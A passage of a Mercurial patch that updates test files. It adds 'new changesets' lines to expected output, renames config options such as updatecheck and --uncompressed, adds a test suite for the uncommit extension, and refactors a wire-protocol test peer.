   added 4 changesets with 18 changes to 8 files
+  new changesets 775704be6f52:523e5c631710
   updating to branch default
   8 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cd deeprepo-encodedstore
@@ -756,7 +761,7 @@
   8 files, 4 changesets, 18 total revisions
 
 Stream clone with basicstore
-  $ hg clone --config experimental.changegroup3=True --uncompressed -U \
+  $ hg clone --config experimental.changegroup3=True --stream -U \
   >   http://localhost:$HGPORT1 stream-clone-basicstore
   streaming all changes
   18 files to transfer, * of data (glob)
@@ -772,7 +777,7 @@
   8 files, 4 changesets, 18 total revisions
 
 Stream clone with encodedstore
-  $ hg clone --config experimental.changegroup3=True --uncompressed -U \
+  $ hg clone --config experimental.changegroup3=True --stream -U \
   >   http://localhost:$HGPORT2 stream-clone-encodedstore
   streaming all changes
   18 files to transfer, * of data (glob)
@@ -788,7 +793,7 @@
   8 files, 4 changesets, 18 total revisions
 
 Stream clone with fncachestore
-  $ hg clone --config experimental.changegroup3=True --uncompressed -U \
+  $ hg clone --config experimental.changegroup3=True --stream -U \
   >   http://localhost:$HGPORT stream-clone-fncachestore
   streaming all changes
   18 files to transfer, * of data (glob)
@@ -845,6 +850,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 3 changes to 2 files
+  new changesets d84f4c419457:09ab742f3b0f
   updating to branch default
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cd grafted-dir-repo-clone
@@ -855,6 +861,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets 73699489fb7c
   (run 'hg heads' to see heads, 'hg merge' to merge)
 
 Committing a empty commit does not duplicate root treemanifest
@@ -862,7 +869,7 @@
   $ hg commit -Aqm 'pre-empty commit'
   $ hg rm z
   $ hg commit --amend -m 'empty commit'
-  saved backup bundle to $TESTTMP/grafted-dir-repo-clone/.hg/strip-backup/cb99d5717cea-de37743b-amend.hg (glob)
+  saved backup bundle to $TESTTMP/grafted-dir-repo-clone/.hg/strip-backup/cb99d5717cea-9e3b6b02-amend.hg (glob)
   $ hg log -r 'tip + tip^' -T '{manifest}\n'
   1:678d3574b88c
   1:678d3574b88c
diff --git a/tests/test-trusted.py b/tests/test-trusted.py
--- a/tests/test-trusted.py
+++ b/tests/test-trusted.py
@@ -67,6 +67,13 @@
                                      trusted))
 
     u = uimod.ui.load()
+    # disable the configuration registration warning
+    #
+    # the purpose of this test is to check the old behavior, not to validate the
+    # behavior from registered item. so we silent warning related to unregisted
+    # config.
+    u.setconfig('devel', 'warn-config-unknown', False, 'test')
+    u.setconfig('devel', 'all-warnings', False, 'test')
     u.setconfig('ui', 'debug', str(bool(debug)))
     u.setconfig('ui', 'report_untrusted', str(bool(report)))
     u.readconfig('.hg/hgrc')
@@ -157,6 +164,13 @@
 print()
 print("# read trusted, untrusted, new ui, trusted")
 u = uimod.ui.load()
+# disable the configuration registration warning
+#
+# the purpose of this test is to check the old behavior, not to validate the
+# behavior from registered item. so we silent warning related to unregisted
+# config.
+u.setconfig('devel', 'warn-config-unknown', False, 'test')
+u.setconfig('devel', 'all-warnings', False, 'test')
 u.setconfig('ui', 'debug', 'on')
 u.readconfig(filename)
 u2 = u.copy()
diff --git a/tests/test-ui-config.py b/tests/test-ui-config.py
--- a/tests/test-ui-config.py
+++ b/tests/test-ui-config.py
@@ -6,6 +6,15 @@
 )
 
 testui = uimod.ui.load()
+
+# disable the configuration registration warning
+#
+# the purpose of this test is to check the old behavior, not to validate the
+# behavior from registered item. so we silent warning related to unregisted
+# config.
+testui.setconfig('devel', 'warn-config-unknown', False, 'test')
+testui.setconfig('devel', 'all-warnings', False, 'test')
+
 parsed = dispatch._parseconfig(testui, [
     'values.string=string value',
     'values.bool1=true',
diff --git a/tests/test-uncommit.t b/tests/test-uncommit.t
new file mode 100644
--- /dev/null
+++ b/tests/test-uncommit.t
@@ -0,0 +1,385 @@
+Test uncommit - set up the config
+
+  $ cat >> $HGRCPATH <<EOF
+  > [experimental]
+  > evolution.createmarkers=True
+  > evolution.allowunstable=True
+  > [extensions]
+  > uncommit =
+  > drawdag=$TESTDIR/drawdag.py
+  > EOF
+
+Build up a repo
+
+  $ hg init repo
+  $ cd repo
+  $ hg bookmark foo
+
+Help for uncommit
+
+  $ hg help uncommit
+  hg uncommit [OPTION]... [FILE]...
+  
+  uncommit part or all of a local changeset
+  
+      This command undoes the effect of a local commit, returning the affected
+      files to their uncommitted state. This means that files modified or
+      deleted in the changeset will be left unchanged, and so will remain
+      modified in the working directory.
+  
+  (use 'hg help -e uncommit' to show help for the uncommit extension)
+  
+  options ([+] can be repeated):
+  
+      --keep                allow an empty commit after uncommiting
+   -I --include PATTERN [+] include names matching the given patterns
+   -X --exclude PATTERN [+] exclude names matching the given patterns
+  
+  (some details hidden, use --verbose to show complete help)
+
+Uncommit with no commits should fail
+
+  $ hg uncommit
+  abort: cannot uncommit null changeset
+  [255]
+
+Create some commits
+
+  $ touch files
+  $ hg add files
+  $ for i in a ab abc abcd abcde; do echo $i > files; echo $i > file-$i; hg add file-$i; hg commit -m "added file-$i"; done
+  $ ls
+  file-a
+  file-ab
+  file-abc
+  file-abcd
+  file-abcde
+  files
+
+  $ hg log -G -T '{rev}:{node} {desc}' --hidden
+  @  4:6c4fd43ed714e7fcd8adbaa7b16c953c2e985b60 added file-abcde
+  |
+  o  3:6db330d65db434145c0b59d291853e9a84719b24 added file-abcd
+  |
+  o  2:abf2df566fc193b3ac34d946e63c1583e4d4732b added file-abc
+  |
+  o  1:69a232e754b08d568c4899475faf2eb44b857802 added file-ab
+  |
+  o  0:3004d2d9b50883c1538fc754a3aeb55f1b4084f6 added file-a
+  
+Simple uncommit off the top, also moves bookmark
+
+  $ hg bookmark
+   * foo                       4:6c4fd43ed714
+  $ hg uncommit
+  $ hg status
+  M files
+  A file-abcde
+  $ hg bookmark
+   * foo                       3:6db330d65db4
+
+  $ hg log -G -T '{rev}:{node} {desc}' --hidden
+  x  4:6c4fd43ed714e7fcd8adbaa7b16c953c2e985b60 added file-abcde
+  |
+  @  3:6db330d65db434145c0b59d291853e9a84719b24 added file-abcd
+  |
+  o  2:abf2df566fc193b3ac34d946e63c1583e4d4732b added file-abc
+  |
+  o  1:69a232e754b08d568c4899475faf2eb44b857802 added file-ab
+  |
+  o  0:3004d2d9b50883c1538fc754a3aeb55f1b4084f6 added file-a
+  
+
+Recommit
+
+  $ hg commit -m 'new change abcde'
+  $ hg status
+  $ hg heads -T '{rev}:{node} {desc}'
+  5:0c07a3ccda771b25f1cb1edbd02e683723344ef1 new change abcde (no-eol)
+
+Uncommit of non-existent and unchanged files has no effect
+  $ hg uncommit nothinghere
+  nothing to uncommit
+  [1]
+  $ hg status
+  $ hg uncommit file-abc
+  nothing to uncommit
+  [1]
+  $ hg status
+
+Try partial uncommit, also moves bookmark
+
+  $ hg bookmark
+   * foo                       5:0c07a3ccda77
+  $ hg uncommit files
+  $ hg status
+  M files
+  $ hg bookmark
+   * foo                       6:3727deee06f7
+  $ hg heads -T '{rev}:{node} {desc}'
+  6:3727deee06f72f5ffa8db792ee299cf39e3e190b new change abcde (no-eol)
+  $ hg log -r . -p -T '{rev}:{node} {desc}'
+  6:3727deee06f72f5ffa8db792ee299cf39e3e190b new change abcdediff -r 6db330d65db4 -r 3727deee06f7 file-abcde
+  --- /dev/null	Thu Jan 01 00:00:00 1970 +0000
+  +++ b/file-abcde	Thu Jan 01 00:00:00 1970 +0000
+  @@ -0,0 +1,1 @@
+  +abcde
+  
+  $ hg log -G -T '{rev}:{node} {desc}' --hidden
+  @  6:3727deee06f72f5ffa8db792ee299cf39e3e190b new change abcde
+  |
+  | x  5:0c07a3ccda771b25f1cb1edbd02e683723344ef1 new change abcde
+  |/
+  | x  4:6c4fd43ed714e7fcd8adbaa7b16c953c2e985b60 added file-abcde
+  |/
+  o  3:6db330d65db434145c0b59d291853e9a84719b24 added file-abcd
+  |
+  o  2:abf2df566fc193b3ac34d946e63c1583e4d4732b added file-abc
+  |
+  o  1:69a232e754b08d568c4899475faf2eb44b857802 added file-ab
+  |
+  o  0:3004d2d9b50883c1538fc754a3aeb55f1b4084f6 added file-a
+  
+  $ hg commit -m 'update files for abcde'
+
+Uncommit with dirty state
+
+  $ echo "foo" >> files
+  $ cat files
+  abcde
+  foo
+  $ hg status
+  M files
+  $ hg uncommit
+  abort: uncommitted changes
+  [255]
+  $ hg uncommit files
+  $ cat files
+  abcde
+  foo
+  $ hg commit -m "files abcde + foo"
+
+Testing the 'experimental.uncommitondirtywdir' config
+
+  $ echo "bar" >> files
+  $ hg uncommit
+  abort: uncommitted changes
+  [255]
+  $ hg uncommit --config experimental.uncommitondirtywdir=True
+  $ hg commit -m "files abcde + foo"
+
+Uncommit in the middle of a stack, does not move bookmark
+
+  $ hg checkout '.^^^'
+  1 files updated, 0 files merged, 2 files removed, 0 files unresolved
+  (leaving bookmark foo)
+  $ hg log -r . -p -T '{rev}:{node} {desc}'
+  2:abf2df566fc193b3ac34d946e63c1583e4d4732b added file-abcdiff -r 69a232e754b0 -r abf2df566fc1 file-abc
+  --- /dev/null	Thu Jan 01 00:00:00 1970 +0000
+  +++ b/file-abc	Thu Jan 01 00:00:00 1970 +0000
+  @@ -0,0 +1,1 @@
+  +abc
+  diff -r 69a232e754b0 -r abf2df566fc1 files
+  --- a/files	Thu Jan 01 00:00:00 1970 +0000
+  +++ b/files	Thu Jan 01 00:00:00 1970 +0000
+  @@ -1,1 +1,1 @@
+  -ab
+  +abc
+  
+  $ hg bookmark
+     foo                       9:48e5bd7cd583
+  $ hg uncommit
+  $ hg status
+  M files
+  A file-abc
+  $ hg heads -T '{rev}:{node} {desc}'
+  9:48e5bd7cd583eb24164ef8b89185819c84c96ed7 files abcde + foo (no-eol)
+  $ hg bookmark
+     foo                       9:48e5bd7cd583
+  $ hg commit -m 'new abc'
+  created new head
+
+Partial uncommit in the middle, does not move bookmark
+
+  $ hg checkout '.^'
+  1 files updated, 0 files merged, 1 files removed, 0 files unresolved
+  $ hg log -r . -p -T '{rev}:{node} {desc}'
+  1:69a232e754b08d568c4899475faf2eb44b857802 added file-abdiff -r 3004d2d9b508 -r 69a232e754b0 file-ab
+  --- /dev/null	Thu Jan 01 00:00:00 1970 +0000
+  +++ b/file-ab	Thu Jan 01 00:00:00 1970 +0000
+  @@ -0,0 +1,1 @@
+  +ab
+  diff -r 3004d2d9b508 -r 69a232e754b0 files
+  --- a/files	Thu Jan 01 00:00:00 1970 +0000
+  +++ b/files	Thu Jan 01 00:00:00 1970 +0000
+  @@ -1,1 +1,1 @@
+  -a
+  +ab
+  
+  $ hg bookmark
+     foo                       9:48e5bd7cd583
+  $ hg uncommit file-ab
+  $ hg status
+  A file-ab
+
+  $ hg heads -T '{rev}:{node} {desc}\n'
+  11:8eb87968f2edb7f27f27fe676316e179de65fff6 added file-ab
+  10:5dc89ca4486f8a88716c5797fa9f498d13d7c2e1 new abc
+  9:48e5bd7cd583eb24164ef8b89185819c84c96ed7 files abcde + foo
+
+  $ hg bookmark
+     foo                       9:48e5bd7cd583
+  $ hg commit -m 'update ab'
+  $ hg status
+  $ hg heads -T '{rev}:{node} {desc}\n'
+  12:f21039c59242b085491bb58f591afc4ed1c04c09 update ab
+  10:5dc89ca4486f8a88716c5797fa9f498d13d7c2e1 new abc
+  9:48e5bd7cd583eb24164ef8b89185819c84c96ed7 files abcde + foo
+
+  $ hg log -G -T '{rev}:{node} {desc}' --hidden
+  @  12:f21039c59242b085491bb58f591afc4ed1c04c09 update ab
+  |
+  o  11:8eb87968f2edb7f27f27fe676316e179de65fff6 added file-ab
+  |
+  | o  10:5dc89ca4486f8a88716c5797fa9f498d13d7c2e1 new abc
+  | |
+  | | o  9:48e5bd7cd583eb24164ef8b89185819c84c96ed7 files abcde + foo
+  | | |
+  | | | x  8:83815831694b1271e9f207cb1b79b2b19275edcb files abcde + foo
+  | | |/
+  | | | x  7:0977fa602c2fd7d8427ed4e7ee15ea13b84c9173 update files for abcde
+  | | |/
+  | | o  6:3727deee06f72f5ffa8db792ee299cf39e3e190b new change abcde
+  | | |
+  | | | x  5:0c07a3ccda771b25f1cb1edbd02e683723344ef1 new change abcde
+  | | |/
+  | | | x  4:6c4fd43ed714e7fcd8adbaa7b16c953c2e985b60 added file-abcde
+  | | |/
+  | | o  3:6db330d65db434145c0b59d291853e9a84719b24 added file-abcd
+  | | |
+  | | x  2:abf2df566fc193b3ac34d946e63c1583e4d4732b added file-abc
+  | |/
+  | x  1:69a232e754b08d568c4899475faf2eb44b857802 added file-ab
+  |/
+  o  0:3004d2d9b50883c1538fc754a3aeb55f1b4084f6 added file-a
+  
+Uncommit with draft parent
+
+  $ hg uncommit
+  $ hg phase -r .
+  11: draft
+  $ hg commit -m 'update ab again'
+
+Uncommit with public parent
+
+  $ hg phase -p "::.^"
+  $ hg uncommit
+  $ hg phase -r .
+  11: public
+
+Partial uncommit with public parent
+
+  $ echo xyz > xyz
+  $ hg add xyz
+  $ hg commit -m "update ab and add xyz"
+  $ hg uncommit xyz
+  $ hg status
+  A xyz
+  $ hg phase -r .
+  15: draft
+  $ hg phase -r ".^"
+  11: public
+
+Uncommit leaving an empty changeset
+
+  $ cd $TESTTMP
+  $ hg init repo1
+  $ cd repo1
+  $ hg debugdrawdag <<'EOS'
+  > Q
+  > |
+  > P
+  > EOS
+  $ hg up Q -q
+  $ hg uncommit --keep
+  $ hg log -G -T '{desc} FILES: {files}'
+  @  Q FILES:
+  |
+  | x  Q FILES: Q
+  |/
+  o  P FILES: P
+  
+  $ hg status
+  A Q
+
+  $ cd ..
+  $ rm -rf repo1
+
+Testing uncommit while merge
+
+  $ hg init repo2
+  $ cd repo2
+
+Create some history
+
+  $ touch a
+  $ hg add a
+  $ for i in 1 2 3; do echo $i > a; hg commit -m "a $i"; done
+  $ hg checkout 0
+  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  $ touch b
+  $ hg add b
+  $ for i in 1 2 3; do echo $i > b; hg commit -m "b $i"; done
+  created new head
+  $ hg log -G -T '{rev}:{node} {desc}' --hidden
+  @  5:2cd56cdde163ded2fbb16ba2f918c96046ab0bf2 b 3
+  |
+  o  4:c3a0d5bb3b15834ffd2ef9ef603e93ec65cf2037 b 2
+  |
+  o  3:49bb009ca26078726b8870f1edb29fae8f7618f5 b 1
+  |
+  | o  2:990982b7384266e691f1bc08ca36177adcd1c8a9 a 3
+  | |
+  | o  1:24d38e3cf160c7b6f5ffe82179332229886a6d34 a 2
+  |/
+  o  0:ea4e33293d4d274a2ba73150733c2612231f398c a 1
+  
+
+Add and expect uncommit to fail on both merge working dir and merge changeset
+
+  $ hg merge 2
+  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  (branch merge, don't forget to commit)
+
+  $ hg uncommit
+  abort: outstanding uncommitted merge
+  [255]
+
+  $ hg uncommit --config experimental.uncommitondirtywdir=True
+  abort: cannot uncommit while merging
+  [255]
+
+  $ hg status
+  M a
+  $ hg commit -m 'merge a and b'
+
+  $ hg uncommit
+  abort: cannot uncommit merge changeset
+  [255]
+
+  $ hg status
+  $ hg log -G -T '{rev}:{node} {desc}' --hidden
+  @    6:c03b9c37bc67bf504d4912061cfb527b47a63c6e merge a and b
+  |\
+  | o  5:2cd56cdde163ded2fbb16ba2f918c96046ab0bf2 b 3
+  | |
+  | o  4:c3a0d5bb3b15834ffd2ef9ef603e93ec65cf2037 b 2
+  | |
+  | o  3:49bb009ca26078726b8870f1edb29fae8f7618f5 b 1
+  | |
+  o |  2:990982b7384266e691f1bc08ca36177adcd1c8a9 a 3
+  | |
+  o |  1:24d38e3cf160c7b6f5ffe82179332229886a6d34 a 2
+  |/
+  o  0:ea4e33293d4d274a2ba73150733c2612231f398c a 1
+  
diff --git a/tests/test-unionrepo.t b/tests/test-unionrepo.t
--- a/tests/test-unionrepo.t
+++ b/tests/test-unionrepo.t
@@ -126,6 +126,7 @@
   adding manifests
   adding file changes
   added 6 changesets with 11 changes to 6 files (+1 heads)
+  new changesets f093fec0529b:2f0d178c469c
 
   $ hg -R repo3 paths
   default = union:repo1+repo2
diff --git a/tests/test-unrelated-pull.t b/tests/test-unrelated-pull.t
--- a/tests/test-unrelated-pull.t
+++ b/tests/test-unrelated-pull.t
@@ -26,6 +26,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets 9a79c33a9db3
   (run 'hg heads' to see heads, 'hg merge' to merge)
 
   $ hg heads
diff --git a/tests/test-up-local-change.t b/tests/test-up-local-change.t
--- a/tests/test-up-local-change.t
+++ b/tests/test-up-local-change.t
@@ -224,6 +224,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets cb9a9f314b8b
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg st
 
diff --git a/tests/test-update-branches.t b/tests/test-update-branches.t
--- a/tests/test-update-branches.t
+++ b/tests/test-update-branches.t
@@ -198,8 +198,8 @@
   parent=1
   M foo
 
-  $ echo '[experimental]' >> .hg/hgrc
-  $ echo 'updatecheck = abort' >> .hg/hgrc
+  $ echo '[commands]' >> .hg/hgrc
+  $ echo 'update.check = abort' >> .hg/hgrc
 
   $ revtest 'none dirty linear' dirty 1 2
   abort: uncommitted changes
@@ -215,7 +215,7 @@
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   parent=2
 
-  $ echo 'updatecheck = none' >> .hg/hgrc
+  $ echo 'update.check = none' >> .hg/hgrc
 
   $ revtest 'none dirty cross'  dirty 3 4
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
@@ -258,7 +258,7 @@
   >>>>>>> destination:  d047485b3896 b1 - test: 4
   $ rm a.orig
 
-  $ echo 'updatecheck = noconflict' >> .hg/hgrc
+  $ echo 'update.check = noconflict' >> .hg/hgrc
 
   $ revtest 'none dirty cross'  dirty 3 4
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
@@ -315,7 +315,7 @@
   $ hg up -q 4
 
 Uses default value of "linear" when value is misspelled
-  $ echo 'updatecheck = linyar' >> .hg/hgrc
+  $ echo 'update.check = linyar' >> .hg/hgrc
 
   $ revtest 'dirty cross'  dirty 3 4
   abort: uncommitted changes
@@ -473,7 +473,7 @@
   > [ui]
   > logtemplate={rev}:{node|short} {desc|firstline}
   > [experimental]
-  > evolution=createmarkers
+  > evolution.createmarkers=True
   > EOF
 
 Test no-argument update to a successor of an obsoleted changeset
diff --git a/tests/test-update-dest.t b/tests/test-update-dest.t
--- a/tests/test-update-dest.t
+++ b/tests/test-update-dest.t
@@ -33,3 +33,17 @@
   abort: update destination required by configuration
   (use hg pull followed by hg update DEST)
   [255]
+
+  $ cd ..
+
+update.requiredest should silent the "hg update" text after pull
+  $ hg init repo1
+  $ cd repo1
+  $ hg pull ../repo
+  pulling from ../repo
+  requesting all changes
+  adding changesets
+  adding manifests
+  adding file changes
+  added 2 changesets with 2 changes to 1 files
+  new changesets 8f0162e483d0:048c2cb95949
diff --git a/tests/test-update-names.t b/tests/test-update-names.t
--- a/tests/test-update-names.t
+++ b/tests/test-update-names.t
@@ -50,7 +50,8 @@
   $ hg st
   ? name/file
   $ hg up 1
-  abort: *: '$TESTTMP/r1/r2/name' (glob)
+  name: untracked directory conflicts with file
+  abort: untracked files in working directory differ from files in requested revision
   [255]
   $ cd ..
 
diff --git a/tests/test-url-rev.t b/tests/test-url-rev.t
--- a/tests/test-url-rev.t
+++ b/tests/test-url-rev.t
@@ -16,6 +16,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 1 files
+  new changesets 1f0dee641bb7:cd2a86ecc814
   updating to branch foo
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
diff --git a/tests/test-wireproto.py b/tests/test-wireproto.py
--- a/tests/test-wireproto.py
+++ b/tests/test-wireproto.py
@@ -19,7 +19,26 @@
     def __init__(self, serverrepo):
         self.serverrepo = serverrepo
 
-    def _capabilities(self):
+    @property
+    def ui(self):
+        return self.serverrepo.ui
+
+    def url(self):
+        return 'test'
+
+    def local(self):
+        return None
+
+    def peer(self):
+        return self
+
+    def canpush(self):
+        return True
+
+    def close(self):
+        pass
+
+    def capabilities(self):
         return ['batch']
 
     def _call(self, cmd, **args):
@@ -55,7 +74,7 @@
 clt = clientpeer(srv)
 
 print(clt.greet("Foobar"))
-b = clt.batch()
-fs = [b.greet(s) for s in ["Fo, =;:<o", "Bar"]]
+b = clt.iterbatch()
+map(b.greet, ('Fo, =;:<o', 'Bar'))
 b.submit()
-print([f.value for f in fs])
+print([r for r in b.results()])
diff --git a/tests/testlib/exchange-obsmarker-util.sh b/tests/testlib/exchange-obsmarker-util.sh
--- a/tests/testlib/exchange-obsmarker-util.sh
+++ b/tests/testlib/exchange-obsmarker-util.sh
@@ -26,7 +26,7 @@
 # reduce output changes
 bundle2-output-capture=True
 # enable evolution
-evolution=all
+evolution=true
 
 [extensions]
 # we need to strip some changeset for some test cases